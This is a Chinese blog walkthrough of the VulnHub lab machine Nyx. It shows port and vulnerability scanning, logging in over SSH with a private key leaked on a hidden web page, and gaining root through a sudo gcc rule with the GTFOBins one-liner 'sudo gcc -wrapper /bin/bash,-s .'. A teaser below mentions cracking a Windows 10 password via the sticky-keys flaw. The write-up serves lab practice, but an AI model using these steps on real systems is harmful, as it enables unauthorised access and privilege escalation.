[VulnHub靶机渗透] Nyx

news2025/1/25 7:13:34
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

nikto漏洞扫描

nmap漏洞扫描

二、调试测试

1、web渗透+信息收集

2、OpenSSH 私钥 免密码登录

3、user.txt

三、提权

1、sudo提权

2、利用gcc提权

3、root权限


前言

靶机精讲之NYX,是一台vulnhub靶机,不难,准确地说如果找到入口就不难,如果找不到入口,可能就不知道从哪里突破,这个环节是值得反思的,否则你可能认为这是一台很难的机器。提权阶段还是强调living off the land的思想和应用,靶机规模不大,但是确是对一个渗透测试人员的基本功的考验。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.103.155

┌──(root??kali)-[~/桌面]
└─# arp-scan -l

2、端口扫描

扫描发现靶机开放了22、80端口

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.155

3、漏洞扫描

nikto漏洞扫描

nikto扫描发现了靶机的一些版本信息,包括一些漏洞,但是这些漏洞都需要我们后面去证实,后面如果没有什么突破,我们可以再回过头来去尝试下。

┌──(root??kali)-[~/桌面]
└─# nikto -h 192.168.103.155

nmap漏洞扫描

利用nmap的漏洞扫描,发现了靶机的一个隐藏目录,我们后面在进行web渗透测试的时候,可以访问下。

┌──(root??kali)-[~/桌面]
└─# nmap --script=vuln -p22,80 192.168.103.155 

--script=vuln 参数来指定 nmap 使用漏洞扫描脚本。
另外,-p22,80 参数指定了扫描的端口范围,即 22 和 80。

二、调试测试

1、web渗透+信息收集

我们直接访问,web80端口的页面,发现是个静态的web页面,没有什么价值,像一般碰到静态的web页面,我们可以尝试查看网站源代码

发现源代码,提示我们不要在这里浪费时间,让我们到别的地方去寻找线索

访问我们开始利用namp扫描出来的 那个目录:/d41d8cd98f00b204e9800998ecf8427e.php

发现是个OpenSSH 私钥,我们后面可以尝试利用OpenSSH 私钥进行免密码登录ssh

2、OpenSSH 私钥 免密码登录

我们把靶机的OpenSSH 私钥,保存到id_rsa文件里面,后面利用这个私钥进行免密码登录

我们现在尝试寻找ssh登录的用户,在实际的渗透测试下,如果我们没有找到ssh私钥的用户,我们可以尝试下root用户,但是这个靶场不是root用户

我们发现左上角的这个url的标题,显示是mpampis 的key,说明可能是这个用户的openssl 私钥

我们利用下面的一个很像base64编码的一串解码,发现也是这个用户,说明openssh的私钥就是这个用户

私钥文件 “id_rsa” 的权限设置有问题。SSH 客户端要求私钥文件的权限必须是非常严格的,通常是 600 或者 400,表示只有拥有者才可读写。

chmod 600 id_rsa

发现利用openssl私钥免密码登录成功了

┌──(root💀kali)-[~/桌面]
└─# ssh -i id_rsa mpampis@192.168.103.155                                                                                                                              2 ⚙
Linux nyx 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
███▄▄▄▄   ▄██   ▄   ▀████    ▐████▀ 
███▀▀▀██▄ ███   ██▄   ███▌   ████▀  
███   ███ ███▄▄▄███    ███  ▐███    
███   ███ ▀▀▀▀▀▀███    ▀███▄███▀    
███   ███ ▄██   ███    ████▀██▄     
███   ███ ███   ███   ▐███  ▀███    
███   ███ ███   ███  ▄███     ███▄  
 ▀█   █▀   ▀█████▀  ████       ███▄ 
Last login: Mon Feb 12 05:00:15 2024 from 192.168.103.129
mpampis@nyx:~$ id
uid=1000(mpampis) gid=1000(mpampis) groups=1000(mpampis),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
mpampis@nyx:~$

3、user.txt

成功拿到root的flag

mpampis@nyx:~$ cd /home
mpampis@nyx:/home$ ls
mpampis
mpampis@nyx:/home$ cd mpampis/
mpampis@nyx:~$ ls
user.txt
mpampis@nyx:~$ cat user.txt 
2cb67a256530577868009a5944d12637

三、提权

1、sudo提权

cat /etc/crontab查看是否有定时进程,发现没有定时任务

mpampis@nyx:~$ cat /etc/crontab

查看哪些具有SUID提权

mpampis@nyx:~$ find / -user root -perm -4000 -print 2>/dev/null

  • 这个命令运行了 find 工具,在整个文件系统中寻找属主为 root,且设置了 SUID 权限(权限为 4000)的文件,并将搜索结果输出到标准输出。2>/dev/null 将错误输出重定向到空设备,以避免在标准输出中看到不相关的错误信息。
  • 这个命令的目的可能是寻找拥有 root 权限的 SUID 文件,因为这些文件在一些安全漏洞中可能会被利用。

sudo提权

sudo 命令通常用于赋予特定用户或用户组在系统上执行特权操作的权限,而 (root) NOPASSWD 说明了用户 mpampis 可以以 root 权限执行指定的命令而无需输入密码。

mpampis@nyx:~$ sudo -l
Matching Defaults entries for mpampis on nyx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mpampis may run the following commands on nyx:
    (root) NOPASSWD: /usr/bin/gcc

2、利用gcc提权

这里给大家分享一个我平常做渗透测试的一个很好用的一个提权网站给大家:GTFOBins

GTFOBins icon-default.png?t=N7T8https://gtfobins.github.io/

这里直接检索gcc,然后点击sudo提权

sudo gcc -wrapper /bin/bash,-s .

3、root权限

发现成功提权到root权限了

mpampis@nyx:~$ sudo gcc -wrapper /bin/bash,-s .
root@nyx:~# id
uid=0(root) gid=0(root) groups=0(root)
root@nyx:/home/mpampis# cd /root
root@nyx:~# ls
root.txt
root@nyx:~# cat root.txt
root@nyx:~# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1446099.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Java程序设计】【C00253】基于Springboot的在线考试管理系统(有论文)

基于Springboot的在线考试管理系统(有论文) 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的在线考试系统 本系统分为系统功能模块、管理员功能模块以及用户功能模块。 系统功能模块:系统登录,管理…

综合项目---博客

一.运行环境 192.168.32.132 Server-Web linux Web 192.168.32.133 Server-NFS-DNS linux NFS/DNS 基础配置 1.配置主机名静态ip 2.开启防火墙并配置 3.部分开启selinux并配置 4.服务器之间通过阿里云进行时间同步 5.服务器之间实现ssh免密…

牛客——递归实现组合型枚举(枚举,dfs)

链接:登录—专业IT笔试面试备考平台_牛客网 来源:牛客网 题目描述 从 1~n 这 n 个整数中随机选出 m 个,输出所有可能的选择方案。n>0n \gt 0n>0, 0≤m≤n0 \leq m \leq n0≤m≤n, n(n−m)≤25n(n-m)\leq 25n(n−m)≤25。 输入描述…

大白话 ChatGPT 技术原理

▼最近直播超级多,预约保你有收获 近期直播:《Agent 企业级应用案例实战》 —1— ChatGPT 大模型如何完成训练的? ChatGPT 大模型训练分为以下3个步骤: 第一步、Pretraining 预训练。 给大模型海量的文本进行训练,99%…

申请SSL证书怎么进行域名验证?域名验证的三种方式

SSL证书是用于加密和保护Web服务器和浏览器之间通信的数字证书,在申请SSL证书时,为了防止域名被冒用,对于申请SSL证书的域名,要求先验证这个域名的所有权。而目前可用的域名验证SSL证书方式有三种:分别是DNS验证、邮箱…

【Java程序设计】【C00264】基于Springboot的原创歌曲分享平台(有论文)

基于Springboot的原创歌曲分享平台(有论文) 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的原创歌曲分享平台 本系统分为平台功能模块、管理员功能模块以及用户功能模块。 平台功能模块:在平台首页可以查看首…

利用Windows10漏洞破解密码(保姆级教学)

前言: 本篇博客只是技术分享并非非法传播知识,实验内容均是在虚拟机中进行,并非真实环境 正文: 一.windows10电脑密码破解 1)开启windows10虚拟机,停留在这个页面 2)按5次Shift键,出现这个粘滞键,如果没有出现的,则说明漏洞已经修复 3)重新启动,在这个页面的时候…

【Java程序设计】【C00257】基于Springboot的校园二手书交易平台(有论文)

基于Springboot的校园二手书交易平台(有论文) 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的乐校园二手书交易管理系统 本系统分为系统功能模块、管理员功能模块、卖家用户功能模块以及用户功能模块。 系统功能模块&…

CentOS 7.9安装Tesla M4驱动、CUDA和cuDNN

正文共:1333 字 21 图,预估阅读时间:2 分钟 上次我们在Windows上尝试用Tesla M4配置深度学习环境(TensorFlow识别GPU难道就这么难吗?还是我的GPU有问题?),但是失败了。考虑到Windows…

【思科ssh】思科模拟器配置ssh登录

配置路由器的名称为R1 配置路由器的域名为aaa.com 使用rsa来加密传输数据,密钥位数为2048 配置登录用户名为cj,密码为123456 只允许ssh登录,不能以其他方式登录 本地验证

HarmonyOS 鸿蒙 ArkTS ArkUI 页面之间切换转换动画设置

第一步:导入 import promptAction from ohos.promptAction 第二步:在build下方写入 pageTransition(){PageTransitionEnter({ duration: 1200 }).slide(SlideEffect.Right)PageTransitionExit({ delay: 100 }).translate({ x: 100.0, y: 100.0 }).opac…

Vue核心基础4:绑定样式、条件渲染、列表渲染

1 绑定样式 【代码】 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>绑定样式</title><s…

机器学习9-随机森林

随机森林&#xff08;Random Forest&#xff09;是一种集成学习方法&#xff0c;用于改善单一决策树的性能&#xff0c;通过在数据集上构建多个决策树并组合它们的预测结果。它属于一种被称为“集成学习”或“集成学习器”的机器学习范畴。 以下是随机森林的主要特点和原理&…

3分钟部署完成Docker Registry及可视化管理工具Docker-UI

安装docker-registry 由于镜像文件会非常占用空间&#xff0c;因此需要选择一个磁盘充裕的位置来存放镜像数据。 这里设置为&#xff1a;-v /data/registry:/var/lib/registry&#xff0c;其中/data/registry是宿主机存放数据的位置。 docker run -d -p 5000:5000 --restart…

【EAI 019】Eureka: Human-Level Reward Design via Coding LLM

论文标题&#xff1a;Eureka: Human-Level Reward Design via Coding Large Language Models 论文作者&#xff1a;Yecheng Jason Ma, William Liang, Guanzhi Wang, De-An Huang, Osbert Bastani, Dinesh Jayaraman, Yuke Zhu, Linxi Fan, Anima Anandkumar 作者单位&#xff…

《Linux 简易速速上手小册》第10章: 性能监控与优化(2024 最新版)

文章目录 10.1 理解系统负载10.1.1 重点基础知识10.1.2 重点案例&#xff1a;服务器响应变慢10.1.3 拓展案例 1&#xff1a;多核 CPU 系统的负载解读10.1.4 拓展案例 2&#xff1a;分析具体时间段的系统负载 10.2 优化性能10.2.1 重点基础知识10.2.2 重点案例&#xff1a;优化 …

【JVM篇】ThreadLocal中为什么要使用弱引用

文章目录 &#x1f354;ThreadLocal中为什么要使用弱引用⭐总结 &#x1f354;ThreadLocal中为什么要使用弱引用 ThreadLocal可以在线程中存放线程的本地变量&#xff0c;保证数据的线程安全 ThreadLocal是这样子保存对象的&#xff1a; 在每个线程中&#xff0c;存放了一个…

MATLAB Coder从入门到放弃

一、MATLAB Coder入门 1 MATLAB Coder是什么 从 MATLAB 代码生成 C 和 C 代码 MATLAB Coder™ 可从 MATLAB 代码生成适用于各种硬件平台&#xff08;从桌面计算机系统到嵌入式硬件&#xff09;的 C 和 C 代码。它支持大多数 MATLAB 语言和广泛的工具箱。您可以将生成的代码作…

无人机概述及系统组成,无人机系统的构成

无人机的定义 无人驾驶航空器&#xff0c;是一架由遥控站管理&#xff08;包括远程操纵或自主飞行&#xff09;的航空器&#xff0c;也称遥控驾驶航空器&#xff0c;以下简称无人机。 无人机系统的定义 无人机系统&#xff0c;也称无人驾驶航空器系统&#xff0c;是指一架无人…

第 384 场 LeetCode 周赛题解

A 修改矩阵 模拟 class Solution { public:vector<vector<int>> modifiedMatrix(vector<vector<int>> &matrix) {int m matrix.size(), n matrix[0].size();vector<int> mx(n, INT32_MIN);for (int i 0; i < m; i)for (int j 0; j &l…